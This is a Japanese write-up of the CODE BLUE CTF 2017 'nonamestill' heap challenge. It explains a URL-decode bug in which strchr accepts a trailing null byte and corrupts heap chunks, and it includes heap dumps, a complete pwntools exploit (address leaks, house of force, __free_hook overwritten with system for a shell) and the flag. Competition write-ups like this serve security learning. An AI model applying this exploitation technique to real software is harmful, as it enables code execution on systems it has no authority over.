CODEBLUE CTF 2017 writeup nonamestill

競技中に取り組んではいたものの解けなったので解きました。供養。

概要

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

起動すると、

===== Menu =====
1: create a url
2: decode a url
3: list urls
4: delete a url
5: exit
================

>

以下のコマンドが実行出来る。

  • create a url
    サイズを入力しその分だけ入力を受け付けヒープに保存
  • decode a url
    url decodeをする。(e.g. %41 -> A
  • list urls
    create a urlで作成したurlが出力される。
  • delete a url
    作成したurlを削除することが出来る。
  • exit
    終了する。

内部ではurlはリストとして管理されており、

struct Url {
    struct Url *next;
    string url;
};

のようになっており1つのmallocのチャンクで管理されている。ここでのstringは可変長の領域を指しており、ポインタではない。

createでは上記の構造体をmalloc、文字列や構造体のリストへの追加をし、deleteではfree, リストからの削除をしている。
decodeでは以下のような処理が行われており、引数に渡した文字列がurldecodeされたものになる。

void decode(char *str) {
    char *local_10h = str;
    char *local_ch = str;
    for(; local_10h[0] != '\0'; local_10h++) {
        if(local_10h[0] == '%') {
            char c1 = local_10h[1];
            char c2 = local_10h[2];
            if(strchr("0123456789ABCDEFabcdef", c1) == NULL) {
                continue;
            }
            if(strchr("0123456789ABCDEFabcdef", c2) == NULL) {
                continue;
            }
            if(!islower(c1)) {
                local_10h[1] = toupper(c1);
            }
            if(!islower(c2)) {
                local_10h[2] = toupper(c2);
            }
            if(c1 <= '@') {
                edx = (c1 - '0') * 16;
            } else {
                edx = (c1 - '7') * 16;
            }

            if(c2 <= '@') {
                eax = (c2 - '0');
            } else {
                eax = (c2 - '7');
            }
            local_ch[0] = eax + edx;
            local_ch += 1;
            local_10h += 2;
        } else {
            local_ch[0] = local_10h[0]
            local_ch += 1;
        }
    }
    memset(local_ch, 0, local_10h - local_ch);
}

脆弱性

decodeの処理中のstrchrの第二引数に'\0'が入ることを考慮されていない。つまり、デコードする文字列の末尾に'%1'などをおくと'%1\x00'と解釈されデコードが行われてしまい、チャンクの破壊につながる。

exploit

fgetsの仕様により文字列の末尾が0になってしまう。なので%で終わるurlとサイズが0x2539のような上位が'%'で下位のバイトが'[0-9A-Fa-f]'であるようなチャンクを隣接させる。

例えば、文字列"A...A%%%%%%%%%\x00"をurlに持つチャンクとサイズが"9%"を表すようなチャンクが隣接するようにurlを作成するとデコードによりチャンクを大きく書き換えることが出来る。

以下が例の文字列のデコード前とデコード後。

before

0x00:  0x43434343      0x43434343      0x00000000      0x00000021
0x10:  0x00000000      0x41414141      0x41414141      0x41414141
0x20:  0x25254141      0x25252525      0x00252525      0x00002539 <- chunk size
0x30:  0x0804d010      0x41414141      0x42424242      0x43434343
0x40:  0x43434343      0x43434343      0x43434343      0x43434343
0x50:  0x43434343      0x43434343      0x43434343      0x43434343

after

0x00:  0x43434343      0x43434343      0x00000000      0x00000021
0x10:  0x00000000      0x41414141      0x41414141      0x41414141 
0x20:  0xd0094141      0x0804d010      0x41414141      0x42424242 <- chunk size
0x30:  0x43434343      0x43434343      0x43434343      0x43434343 
0x40:  0x43434343      0x43434343      0x43434343      0x43434343
0x50:  0x43434343      0x43434343      0x43434343      0x43434343

このようにチャンクの中身を直前のチャンクの%の数だけずらすことが出来る。 これを利用して最初に最初に説明した構造体のnextに当たる箇所を書き換えてheap, libcのアドレスをリーク、house of forceにより__free_hookを上書きしてsystem関数を呼ぶ。

house of forceをするためにはtop chunkのサイズを書き換える必要はあるが、これは先程の攻撃と同じようにtop chunkのサイズを0x2531などにし、その後に'\xff'が続くような状況を作りデコードさせればよい。

exploitは以下のようになった。

from pwn import *

context.terminal = 'screen'

binary = './nonamestill'
libcName = './libc.so.6'
elf = ELF(binary, False)
libc = ELF(libcName, False)

# p = process(binary, aslr=False, env={'LD_PRELOAD': libcName})
# p = process(binary, aslr=True, env={'LD_PRELOAD': libcName})
p = remote('nonamestill.tasks.ctf.codeblue.jp', 8369)
# gdb.attach(p)

prompt = '> '

def create(size, url):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('size: ', str(size))
    p.sendlineafter('URL: ', url)

def decode(index):
    p.sendlineafter(prompt, '2')
    p.sendlineafter('index: ', str(index))

def listUrl():
    p.sendlineafter(prompt, '3')
    p.recvuntil('LIST START\n')
    return p.recvuntil('LIST END\n')[:-9]

def delUrl(index):
    p.sendlineafter(prompt, '4')
    p.sendlineafter('index: ', str(index))

def leak(addr):
    create(0x18, 'A' * 0x0e + '%' * 8 + '%')
    payload = fit({
            0x0: 'AAAA' + '%39%25%00%00' + p32(addr - 0x4),
            0x1000: 'A' * 8 + p32(0x1539),
        })
    create(0x2530, payload)
    decode(1)
    s = listUrl()[-5:-1]
    delUrl(0)
    return s


libcBase = u32(leak(elf.symbols['stdout'])) - 1781088
heapBase = u32(leak(elf.symbols['stdout'] + 8)) - 0x1050

print 'libcBase: %s' % hex(libcBase)
print 'heapBase: %s' % hex(heapBase)

free_hook = libcBase + libc.symbols['__free_hook']
system = libcBase + libc.symbols['system']

topSize = 0x00020fb8
size = topSize - 0x255f
create(size, 'AAAA')
create(0x18, 'A' * 0x0e + '%' * 8 + '%')
create(0x100, '\xff' * 0xc)
delUrl(0)
decode(0)

size = (1 << 32) - (free_hook - (heapBase + 0x1fad4) + 0x1fec)
size *= -1
print 'size: %s' % hex(size)
create(size, '')
create(0x10, ';sh;' + p32(system + 0x2000))
delUrl(0)
p.interactive()

競技中、strchrに'\0'を入れてもNULLを返さない事には気付いたが、チャンクサイズに'%'を含ませて'\0'をエスケープする方法は思いつかなかった。あと問題サーバーがもう閉じられていたのでローカルでしか試せなかった。libc関数のオフセットの計算が何故か合わないので無理やり調整した為リモートで動くか心配。

CBCTF{This problem comes from DEFCON 2014 nonameyet. Did you notice that?}

おわり。